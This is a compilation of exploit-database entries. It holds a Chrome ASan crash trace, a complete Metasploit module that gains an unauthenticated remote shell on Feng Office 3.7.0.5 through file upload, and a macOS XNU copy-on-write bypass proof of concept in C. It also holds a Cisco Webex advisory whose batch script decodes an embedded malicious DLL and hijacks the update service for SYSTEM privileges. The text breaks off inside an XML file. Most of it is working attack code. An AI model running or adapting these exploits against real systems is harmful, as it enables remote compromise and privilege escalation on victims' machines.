#14 0x56206fed93c0 in StartupBrowserCreator::ProcessLastOpenedProfiles(base::CommandLine const&, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:845:10
#15 0x56206fed8b1f in StartupBrowserCreator::LaunchBrowserForLastProfiles(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:774:10
#16 0x56206fed262e in StartupBrowserCreator::ProcessCmdLineImpl(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:726:10
#17 0x56206fed151b in StartupBrowserCreator::Start(base::CommandLine const&, base::FilePath const&, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:304:10
#18 0x56206722002e in ChromeBrowserMainParts::PreMainMessageLoopRunImpl() chrome/browser/chrome_browser_main.cc:1749:25
#19 0x56206721d567 in ChromeBrowserMainParts::PreMainMessageLoopRun() chrome/browser/chrome_browser_main.cc:1175:18
#20 0x562061fafa46 in content::BrowserMainLoop::PreMainMessageLoopRun() content/browser/browser_main_loop.cc:983:13
#21 0x562062e368c5 in Run base/callback.h:129:12
#22 0x562062e368c5 in content::StartupTaskRunner::RunAllTasksNow() content/browser/startup_task_runner.cc:41
#23 0x562061fac222 in content::BrowserMainLoop::CreateStartupTasks() content/browser/browser_main_loop.cc:917:25
#24 0x562061fb6d24 in content::BrowserMainRunnerImpl::Initialize(content::MainFunctionParams const&) content/browser/browser_main_runner_impl.cc:144:15
#25 0x562061fa6bc1 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:43:32
#26 0x5620670a7077 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:543:10
#27 0x5620670a7077 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:941
#28 0x5620670a64d1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
#29 0x5620671c3bab in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:472:29
#30 0x5620670a1812 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10
#31 0x56205ecf7d17 in ChromeMain chrome/app/chrome_main.cc:102:12
#32 0x7f12db6d42b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
Thread T7 (Chrome_IOThread) created by T0 (chrome) here:
#0 0x56205ecb0fbd in __interceptor_pthread_create /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cc:210:3
#1 0x5620681155fe in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) base/threading/platform_thread_posix.cc:120:13
#2 0x56206804a54c in base::Thread::StartWithOptions(base::Thread::Options const&) base/threading/thread.cc:112:15
#3 0x562061fcefba in content::BrowserProcessSubThread::CreateIOThread() content/browser/browser_process_sub_thread.cc:90:19
#4 0x5620670a6b12 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:920:31
#5 0x5620670a64d1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
#6 0x5620671c3bab in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:472:29
#7 0x5620670a1812 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10
#8 0x56205ecf7d17 in ChromeMain chrome/app/chrome_main.cc:102:12
#9 0x7f12db6d42b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
SUMMARY: AddressSanitizer: heap-use-after-free buildtools/third_party/libc++/trunk/include/memory:2623:19 in operator bool
Shadow bytes around the buggy address:
0x0c3a80039bd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a80039be0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a80039bf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a80039c00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a80039c10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c3a80039c20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
0x0c3a80039c30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a80039c40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a80039c50: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
0x0c3a80039c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a80039c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==133162==ABORTING
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46473.zip
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize
super(
'Name' => 'Feng Office 3.7.0.5 - (Unauthenticated) Remote Command Execution',
'Description' => %q{
This module exploits arbitrary file upload vulnerability in Feng Office 3.7.0.5.
Application allows the unauthenticated users to upload arbitrary files.
There is no control of any session. All files are sent under "/tmp" directory.
The ".htaccess" file under the "/tmp" directory prevents files with the "php,php2,php3.." extensions.
This exploit creates the php payload and moves the payload to the main directory via "shtml".
After moving the php payload to the main directory, Exploit executes payload and receives shell.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Feng-Office-3-7-0-5-Unauthenticated-Remote-Command-Execution-Metasploit.html'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Feng Office <= 3.7.0.5', {}]
],
'DisclosureDate' => '28 Feb 2019',
'Privileged' => false,
'DefaultTarget' => 0
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Feng Office', '/']),
], self.class)
end
def exploit
##
# Upload Payload and directory discovery
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data = "-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.php\"\r\n"
data << "Content-Type: binary/octet-stream\r\n\r\n"
data << payload.encoded
data << "\n\r\n-----------------------------{boundary}--\r\n"
data << "-----------------------------{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}'
},
'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")
})
if not (res and res.body =~ /tmp\/([^\"]+)\',/)
print_error("Something went wrong. PHP File Upload failed.")
return nil
end
upfile = $1
print_status("PHP Payload: #{upfile}")
updir = res.body.scan(/<b>.+ck_upload_handler.php/).map{ |s| s.split("in ").last }.map{ |s| s.split("<b>").last }.map{ |s| s.split("ck_upload_handler.php").last }
dirc = updir[0]
print_status("Application Directory Path: #{dirc}")
##
# Upload shtml and run CMD command to move Payload to the main directory
##
data = "-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.shtml\"\r\n"
data << "Content-Type: text/html\r\n\r\n<html>\r\n<!--#exec cmd=\""
data << "cp #{dirc}tmp/#{upfile} #{dirc}"
data << "\" -->\r\n</html>\n\r\n"
data << "-----------------------------{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}'
},
'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")
})
if not (res and res.body =~ /tmp\/([^\"]+)\',/)
print_error("Something went wrong. sHTML file Upload failed.")
return nil
else
print_good("Uploads successful completed.")
end
upfile2 = $1
print_status("SHTML Payload: #{upfile2}")
print_good("#{peer} - Retrieving remote command shell...")
##
# Running shtml for file migration
##
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/tmp/#{upfile2}"),
})
##
# Running php for remote shell
##
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/#{upfile}"),
})
end
end
##
# End
##
XNU has various interfaces that permit creating copy-on-write copies of data
between processes, including out-of-line message descriptors in mach messages.
It is important that the copied memory is protected against later modifications
by the source process; otherwise, the source process might be able to exploit
double-reads in the destination process.
This copy-on-write behavior works not only with anonymous memory, but also with
file mappings. This means that, after the destination process has started
reading from the transferred memory area, memory pressure can cause the pages
holding the transferred memory to be evicted from the page cache. Later, when
the evicted pages are needed again, they can be reloaded from the backing
filesystem.
This means that if an attacker can mutate an on-disk file without informing the
virtual management subsystem, this is a security bug.
MacOS permits normal users to mount filesystem images. When a mounted filesystem
image is mutated directly (e.g. by calling pwrite() on the filesystem image),
this information is not propagated into the mounted filesystem.
The following is a simple proof-of-concept that demonstrates the problem, split
across multiple small helpers for simplicity:
buggycow.c (opens a file from a FAT image mount, creates a CoW mapping, and
reads from it when requested):
===============
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
int main(void) {
setbuf(stdout, NULL);
int fd = open("/Volumes/NO NAME/testfile", O_RDWR);
if (fd == -1) err(1, "open");
unsigned int *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) err(1, "mmap");
pointer_t cow_mapping;
mach_msg_type_number_t cow_mapping_size;
if (vm_read(mach_task_self(), (mach_vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
if (cow_mapping_size != 0x4000) errx(1, "vm read size");
while (1) {
printf("orig mapping has value 0x%x, cow mapping has value 0x%x\n", *mapping, *(unsigned int*)cow_mapping);
printf("press enter to continue: ");
getchar();
}
}
===============
mod.c (modifies file contents inside the FAT filesystem image):
===============
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
int fd = open("fatimg.img", O_RDWR);
if (fd == -1) err(1, "open");
if (pwrite(fd, "AAAA", 4, 0x37000) != 4) err(1, "pwrite");
printf("done\n");
}
===============
pressure.c (creates memory pressure; you may have to change `SIZE` such that it
is significantly bigger than the amount of RAM in your test machine):
===============
#include <err.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#define SIZE (1024UL*1024UL*1024UL*20UL)
int main(void) {
int fd = open("spamfile", O_RDWR|O_TRUNC|O_CREAT, 0666);
if (fd == -1) err(1, "open");
if (ftruncate(fd, SIZE)) err(1, "ftruncate");
char *mapping = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) err(1, "mmap");
if (madvise(mapping, SIZE, MADV_RANDOM)) err(1, "madvise");
puts("mapped");
for (unsigned long off = 0; off < SIZE; off++) {
mapping[off] = 42;
}
puts("done");
}
===============
fatimg.img.bz2.base64 (FAT filesystem with a single file "testfile" in
it, which contains the string "HELLO WORLD AAAA", stored at offset 0x37000):
===============
QlpoOTFBWSZTWWCuw5MFfk7//d/7wSDRITEEZ2ffiTfv3KZAAEgIAJQECUBCBAlAybABOE1hqp+i
kfkjETATJkwJgGiGIY1NM1PQEbU2jRqFTIjRmpo0ADRoMgAAAAGTJgTIARSSIaaZNGjQNAAAAAGg
AAaNAGJ+LRgQ8YFAZoEEE/idIUFFFRJ4qiiqibs6RBGfFDBkXMCKKKqJFHpmCRSJUy7KhlXpv+9v
3xSiKkuWmWKvXPKtepMgooqomAQta6v5itC2YCvDFO2sRZn2nInTRQ0JDp3gdpjD2ksNgl5x3wDH
Im3IkclmyVSy9hRzIWICM3xvZFLMqoTCM/zPU/QuS7kTsbg0EpXafayp5MmFUFvIVffyBxYWMQxC
mELiRSUEmFTeEU2GyYJz4a6Bk9/eOGIUssEiThI2PAmlnHmgOGYdB6KHlZpCKIIOtCUdYeCKc8zg
de5s8XX09eXR3r0f+n1NGwwBRRVRJ1oZEJSIkf5igrJMprIcE8W+Ar8cgAGAAAAQQABhAJqMhUBL
UhUBLmKCskymsgePd5wAyE6AEYAAAAQAEEAAYZgKU0yogi2Kogi8XckU4UJCdb3A9A==
===============
To reproduce:
Unpack and compile the files:
$ base64 -D < fatimg.img.bz2.base64 | bunzip2 > fatimg.img
$ cc -o buggycow buggycow.c
$ cc -o mod mod.c
$ cc -o pressure pressure.c
$
Mount the filesystem image (e.g. by double-clicking on it in finder).
In one terminal:
$ ./buggycow
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
press enter to continue:
In a second terminal:
$ ./mod
done
$ ./pressure
mapped
Once you can see in "top" that there has been no physical memory anymore for a
while - or when ./pressure has finished running -, go back to the first terminal
and press enter. You should see this:
$ ./buggycow
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
press enter to continue:
orig mapping has value 0x41414141, cow mapping has value 0x41414141
press enter to continue:
(Weirdly, when you kill the ./pressure helper, e.g. by pressing CTRL+C, it
takes minutes before the process actually disappears.)
Ian made a proof of concept that demonstrates that this also applies to COW
mappings created via out-of-line descriptors in mach messages; I've attached
this PoC as mOOM_COW.tar.bz2. Usage:
$ tar xf mOOM_COW.tar.bz2
$ cd mOOM_COW
$ vi mOOM_COW.c # edit RAM_GB in the first line to the amount of RAM in your machine
$ cc -o mOOM_COW mOOM_COW.c
$ ./mOOM_COW
[+] child got stashed port
[+] child sent hello message to parent over shared port
[+] parent received hello message from child
[+] child restored stolen port
[+] mounted fatimg
[+] child sent message to parent
[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10bead000
[+] parent reads: 4c4c4548
[+] telling child to try to change what I see!
[+] child received ping to start trying to change the OOL memory!
[+] child wrote to the file underlying the mount
[+] child is spamming
[+] child has finished spamming
[+] parent got ping message from child, lets try to read again...
[+] parent reads: 41414141
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46478.zip
SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/
Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2
1. *Advisory Information*
Title: Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2
Advisory ID: CORE-2018-0012
Advisory URL:
http://www.secureauth.com/labs/advisories/cisco-webex-meetings-elevation-privilege-vulnerability-version-2
Date published: 2019-02-27
Date of last update: 2019-02-27
Vendors contacted: Cisco
Release mode: Coordinated release
2. *Vulnerability Information*
Class: OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2019-1674
3. *Vulnerability Description*
Cisco's Webex Meetings website states that [1]:
Cisco Webex Meetings: Simply the Best Video Conferencing and Online
Meetings.
With Cisco Webex Meetings, joining is a breeze, audio and video are
clear, and screen sharing is
easier than ever. We help you forget about the technology, to focus on
what matters.
A vulnerability in the update service of Cisco Webex Meetings Desktop
App for Windows could allow
a local attacker to elevate privileges.
4. *Vulnerable Packages*
. Cisco Webex Meetings Desktop App v33.6.4.15
. Cisco Webex Meetings Desktop App v33.6.5.2
. Cisco Webex Meetings Desktop App v33.7.0.694
. Cisco Webex Meetings Desktop App v33.7.1.15
. Cisco Webex Meetings Desktop App v33.7.2.24
. Cisco Webex Meetings Desktop App v33.7.3.7
. Cisco Webex Meetings Desktop App v33.8.0.779
. Cisco Webex Meetings Desktop App v33.8.1.13
. Cisco Webex Meetings Desktop App v33.8.2.7
. Older versions are probably affected too, but they were
not checked.
5. *Vendor Information, Solutions and Workarounds*
Cisco informed that released the vulnerability is fixed in Cisco Webex
Meetings Desktop App releases 33.6.6 and 33.9.1.
In addition, Cisco published the following advisory:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-wmda-cmdinj
6. *Credits*
This vulnerability was discovered and researched by Marcos Accossatto
from SecureAuth. The publication of this advisory was coordinated by
Leandro Cuozzo from SecureAuth Advisories Team.
7. *Technical Description / Proof of Concept Code*
7.1. *Privilege Escalation*
[CVE-2019-1674]
The update service of Cisco Webex Meetings Desktop App for Windows does
not properly validate version numbers of new files. An unprivileged
local attacker could exploit this vulnerability by invoking the update
service command with a crafted argument and folder. This will allow the
attacker to run arbitrary commands with SYSTEM user privileges.
The vulnerability can be exploited by copying to a local attacker
controller folder, the atgpcdec.dll binary and rename it as atgpcdec.7z.
Then, a previous version of the ptUpdate.exe file must be compressed as
7z and copied to the controller folder. Also, a malicious dll must be
placed in the same folder, named vcruntime140.dll and compressed as
vcruntime140.7z. Finally, a ptUpdate.xml file must be provided in the
controller folder for the update binary (ptUpdate.exe) to treat our
files as a normal update. To gain privileges, the attacker must start
the service with the command line:
sc start webexservice WebexService 1 989898 "attacker-controlled-path"
Proof of Concept:
The following proof of concept performs a 2 step attack, since starting
from version 33.8.X, the application enforces the checking of signatures
for all the downloaded binaries. This 2 step attack works against all
the mentioned vulnerable packages. Notice that you'll need the previous
versions of the ptUpdate.exe executable. Those versions are:
3307.1.1811.1500 for the first step and 3306.4.1811.1600 for the last
step. To exploit version priot to 33.8.X, only one step is required
(the last step in this PoC).
Batch file:
/-----
@echo off
REM Contents of PoC.bat
REM
REM This batch file will exploit CVE-2019-1674
REM
REM First, it will copy the atgpcdec.dll file from the installation
REM folder to the current folder as atgpcdec.7z. Then, it will backup
REM ptUpdate.exe and vcruntime140.dll files from the installation folder
REM in the current folder, adding .bak to their names. Keep in mind that
REM those files will be replaced (especially, vcruntime140.dll) and if
REM not restored, will render the application useless.
REM
REM The executable ptUpdate.exe version 3307.1.1811.1500 must be
REM compressed as ptUpdate0.7z and present in the current folder.
REM The executable ptUpdate.exe version 3306.4.1811.1600 must be
REM compressed as ptUpdate1.7z and present in the current folder.
REM Both can be generated using 7zip GUI and compressing as 7z, with
REM normal compression level and LZMA compression method.
REM Another way is to compress both files using the command line app:
REM
REM 7z.exe a ptUpdate0.7z ptUpdate.exe -m0=BCJ -m1=LZMA:d=21
REM
REM ptUpdate0.xml file will be used in the first stage of the attack. It
REM will be renamed to ptUpdate.xml. Make sure to check and adjust (if
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
REM ptUpdate0.7z ones. ptUpdate0.7z will be renamed to ptUpdate.7z. Then
REM the update service will be started.
REM
REM The batch will wait until the process (ptUpdate.exe) finishes
REM
REM After the first stage is completeted, it will rename ptUpdate.7z
REM back to ptUpdate0.7z, and ptUpdate.xml to ptUpdate0.xml.
REM
REM Now, ptUpdate1.xml file will be used in the second stage of the
REM attack. It will be renamed to ptUpdate.xml. Also, ptUpdate1.7z will
REM be renamed to ptUpdate.7z. Remember to check and adjust (if
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
REM ptUpdate1.7z ones. Out "malicious" DLL will be generated using
REM certutil.exe and named vcruntime140.7z. It's a simple dll that will
REM execute notepad.exe on load and that has the same exported functions
REM as the original. The update service will be started again.
REM
REM The batch will wait until the process (ptUpdate.exe) finishes
REM
REM Once finished, it will print that the attack is done and wait for a
REM key press. You should see a notepad.exe (2, in fact) with SYSTEM
REM user privileges running.
REM
REM After a key is pressed, the batch will finish removing atgpcdec.7z
REM and vcruntime140.7z. Also it will rename ptUpdate.7z back to
REM ptUpdate1.7z, and ptUpdate.xml to ptUpdate1.xml.
:CheckOS
IF EXIST "%PROGRAMFILES(X86)%" (GOTO 64BIT) ELSE (GOTO 32BIT)
:64BIT
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\ptUpdate.exe"
ptUpdate.exe.bak
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\vcruntime140.dll"
vcruntime140.dll.bak
GOTO END
:32BIT
copy "%PROGRAMFILES%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
copy "%PROGRAMFILES%\Webex\Webex\Applications\ptUpdate.exe" ptUpdate.exe.bak
copy "%PROGRAMFILES%\Webex\Webex\Applications\vcruntime140.dll"
vcruntime140.dll.bak
GOTO END
:END
ren ptUpdate0.xml ptUpdate.xml
ren ptUpdate0.7z ptUpdate.7z
SET mypath=%~dp0
sc start webexservice WebexService 1 989898 %mypath:~0,-1%
ECHO Waiting 3 seconds until ptUpdate.exe starts
Timeout /T 3 /Nobreak
:LOOP1
tasklist | find /i "ptUpdate" >nul 2>&1
IF ERRORLEVEL 1 (
GOTO CONTINUE1
) ELSE (
ECHO ptUpdate.exe is still running
Timeout /T 1 /Nobreak
GOTO LOOP1
)
:CONTINUE1
ren ptUpdate.xml ptUpdate0.xml
ren ptUpdate.7z ptUpdate0.7z
ren ptUpdate1.xml ptUpdate.xml
ren ptUpdate1.7z ptUpdate.7z
echo
N3q8ryccAARIz/fVRwYAAAAAAAB6AAAAAAAAANcfWYEAJpaOcAAX9+wFu+r0/5QBL0TuTr0Jkm3dgTnz3Weoe6NfFfEa/Y28zsBB2HEdPWzlugty+IIM4hglhy/h80OeyYw5CMe7jUK77wLPQMC9wwpT+oLYVDSuOK/v2WNuOLCpU3qtGSO+2sIFpGixpKQvLykpGOZUMczuRNNr/8Ps1lApsqe0ERm7gPGyiMqJBOCOVTC85lKIa2Cmc
> dll.txt
echo
scrjgqKPPNmbXvscJWxmvv4NtC3mLQ1KuXYBSZXmFp8dR+ZDy5znkGG/C3w0T76c4wRCfOk+/myji9luDzO2OOwp8wgpN1QeGsA4+kaZwKYTisIvPegsI2joDsLAomIh2ToXENtcOA9/11kkJy4ColEdqlXxwSW2u45ajuNDs0aAE9nbz4AWXtv/VPfc4fn3Q+mN7FTmaDUr8dxZ5V05IafOO2qTgdSHPemTasMSqYLbzA8iaxBZimokw
>> dll.txt
echo
zyzr3fwZIci+Ewzq5BnNXk+lvA30xCUYdvQuMCGkxBozk9Ec0kQ/SUixz77Nc9SbJnm0Hncff3QRRlU9ciqc6cYkQ2Cm+/dWkyDgJU+sxT9VGV+WVwNK85Q6zpPWLeVRYtk9UkxKHF0aXf3l/OgfQqtz0WSR94AF+Z9AiblDy0zOreSW8PhFbu0hfAgY1pMNC5gPNJiJ3OGwT/cLEhBPusvpfcLP3V0BwXx04T+5R7d5Rw9xWExdfCzGb
>> dll.txt
echo
Mgyijdf5nP7fv9e5V0KO8kKrGVofstVIN8FTQSMeRGYRdv9WyuLRFWbArCL86HMo5NYEwFinlqCGqnY8hZcDMPe89q1xoNlVDmDtLC+AZqEkPKuqStllzKH7qQDg7Ahe6AMtGjaT2NptL2bSBYlkfn+1iiMt5cC/inZAoZoreSpDbGb4HRcOVce7ZKeiBAFpEzM0bEXAxnbLNO0pHm0bYCftbOkffJap3m79V+Dj4t0NPgwbhYKUqk1Hi
>> dll.txt
echo
/9ebVE+IIsUlFFggilCy7BmIh3MF3Gmuhr7QLK37zV72LA0/tuDXXTWP/0EJEQ3F/v1+hSj/+HMwUBFL8xsghBfOXTpmBG6cUxK2YOwXvs/ntja2a7SWwppxtWgr4n/pxEdeezoBGl1sTZ9aIwSlu1mMehS5RYoyiSKnQfgLMsIYLqjZtc2DjUdSZDutZgC91axMjIEQ8kDIBp8dbuX4MpzNYe65OrKG/u76aemvcQ/R1QAwgTopuWgqO
>> dll.txt
echo
tJ7LIkRv406u+Qs2d5KA9+IplFV7ZL9w1zXTDTFqATROK0IKtY2MPaP5Ia0d0UFizj0I7OZSeDtZXPohMxi01xMLyqCXIQ4vaJGVneNi1SyxAJ2hV92+5sxBCOlQ+d4w19k6iJA/siz1+V0FnIrN6csCMaW6yBnR6H+jHpm2sqXf3xyU8UkCRx09LmD1lcSB3sWdc3AnoG2ijb7lD6eBdCH2OlMWceeAfOMRm48MfYW6+AcZJm9wEQ9p8
>> dll.txt
echo
irxwCQuETvGMphqzbPxFJXErhoMTxlE57+/ZLBt8F/3XAaxQnmMucvSCFMYc6Z76OCbeotPfVnPhqL+torsEaph6DFzcw3dWuFrekbLnVVFKmM/QyeZVLS18u5lY1tGRyfAUCyhPIPJvUcXFKuDYHmdT/bOnF1B/xexvtY8boRhcKiNg4JBluTMbamdoktvfWvIVGUz2m50yA0dNN06yebHietxA+IwM0zfNbqpNWJjOItsi6/27j1mE7
>> dll.txt
echo
WCgPS5tetN44WkYD28Bm+LmHwz4lbPVjAIcgZBv0OtAXJsWMUtN8Bc2z9+fVSqc7pCHGCRnYDyKm8QhcV8hU4I/M4hSN+BWYn2jGJqc42lcaMzfXrySCnF4dAtIiE1HzAwmwWAqjlVkZdFiIuQ1m+pdbx2Ipji5piYRAJtykwO0H5JThzAzJGObOMCAenaKgvgtwF97iFdBZHxuSz+3DcYF6gQupm/BxNd35l6qj19sN2qixeGJ7rQapV
>> dll.txt
echo
DJLTM5KMPdSItBNJSLLp9fuObcufi/6MBif28vemivzaWtalocJxX/MJni8PfdLYn/rLJQXmpq4Qm7z6N7FlPLtelATkMAZZ2ofaLFeBvIKzymBqtsxQAb63b+MowQvOkGAesT5JNXhoRqzOoATB9I/O7xIZu30SZwWdW85DX2MNAeB/DgzLt/c7U9A2D5vIgAEEBgABCYZHAAcLAQACIwMBAQVdABgAAAQDAwEDAQAMmACYAAAICgGcR
>> dll.txt
echo
dWGAAAFARkLAAAAAAAAAAAAAAARIwB2AGMAcgB1AG4AdABpAG0AZQAxADQAMAAuAGQAbABsAAAAGQAUCgEAkBJyInaL1AEVBgEAIAAAAAAA
>> dll.txt
certutil -decode dll.txt vcruntime140.7z
del dll.txt
SET mypath=%~dp0
sc start webexservice WebexService 1 989898 %mypath:~0,-1%
ECHO Waiting 3 seconds until ptUpdate.exe starts
Timeout /T 3 /Nobreak
:LOOP2
tasklist | find /i "ptUpdate" >nul 2>&1
IF ERRORLEVEL 1 (
GOTO CONTINUE2
) ELSE (
ECHO ptUpdate.exe is still running
Timeout /T 1 /Nobreak
GOTO LOOP2
)
:CONTINUE2
ECHO Attack done!
pause
ren ptUpdate.xml ptUpdate1.xml
ren ptUpdate.7z ptUpdate1.7z
del atgpcdec.7z
del vcruntime140.7z
-----/
ptUpdate0.xml file:
/-----
<?xml version="1.0"?>
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
xmlns:com="http://www.webex.com/schemas/2002/06/common"
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
<serv:header></serv:header>
<serv:body>
<serv:bodyContent xsi:type="use:getUpdateResponse"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<UpdateVersionNumber>33.8.3</UpdateVersionNumber>
<BuildNumber>33.8.3-24</BuildNumber>
<ExternalVersionNumber>33.8.3.24</ExternalVersionNumber>
<GPCINI>self/gpc.php</GPCINI>
<ReleaseDate>February 2017</ReleaseDate>
<Description>WebEx Productivity Tools 33.8.3</Description>
<MsiLocation>msi/ptools.msi</MsiLocation>
<UpdateFormat>binary</UpdateFormat>
<ReleaseTrain>T32</ReleaseTrain>
<Location>$dummy/upgradeserver/client/ptool/33.8.3</Location>
<ControlOption>0</ControlOption>
<WBSVERSION>33</WBSVERSION>
<Server>myCompany.webex.com</Server>
<UserName>MCKSysAR@myCompany.com</UserName>
<DownloadSize>22496333</DownloadSize>
<VersionURL/>
<FileInfo>
<SectionName>Installation</SectionName>
<PackedName>ptupdate.7z</PackedName>
<PackedNameL10N>ptupdate.7z</PackedNameL10N>
<OrigianlName>ptupdate.exe</OrigianlName>
<Version>3307,1,1811,1500</Version>
<Size>1985592</Size>
<PackagedSize>610752</PackagedSize>
<CheckMethod>1</CheckMethod>
<CouldIgnore>1</CouldIgnore>
<NeedDownLoad>1</NeedDownLoad>
</FileInfo>
<Tools>
<UseEmailType/>
<Outlook>0</Outlook>
<Notes>0</Notes>
<UseWebExWithOffice>1</UseWebExWithOffice>
<Excel>0</Excel>
<PowerPoint>0</PowerPoint>
<Word>0</Word>
<IEShortCut>1</IEShortCut>
<IERightMenu>0</IERightMenu>
<UseWebExWithIM>1</UseWebExWithIM>
<AOL>0</AOL>
<Sametime>0</Sametime>
<WindowsMessenger>0</WindowsMessenger>
<Yahoo>0</Yahoo>
<Skype>0</Skype>
<GoogleTalk>0</GoogleTalk>
<Firefox/>
<IPPhone>1</IPPhone>
</Tools>
</serv:bodyContent>
</serv:body>
</serv:message>
-----/
ptUpdate1.xml file:
/-----
<?xml version="1.0"?>
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
xmlns:com="http://www.webex.com/schemas/2002/06/common"
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
<serv:header>
</serv:header>
<serv:body>
<serv:bodyContent xsi:type="use:getUpdateResponse"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<UpdateVersionNumber>33.8.4</UpdateVersionNumber>
<BuildNumber>33.8.4-24</BuildNumber>
<ExternalVersionNumber>33.8.4.24</ExternalVersionNumber>
<GPCINI>self/gpc.php</GPCINI>
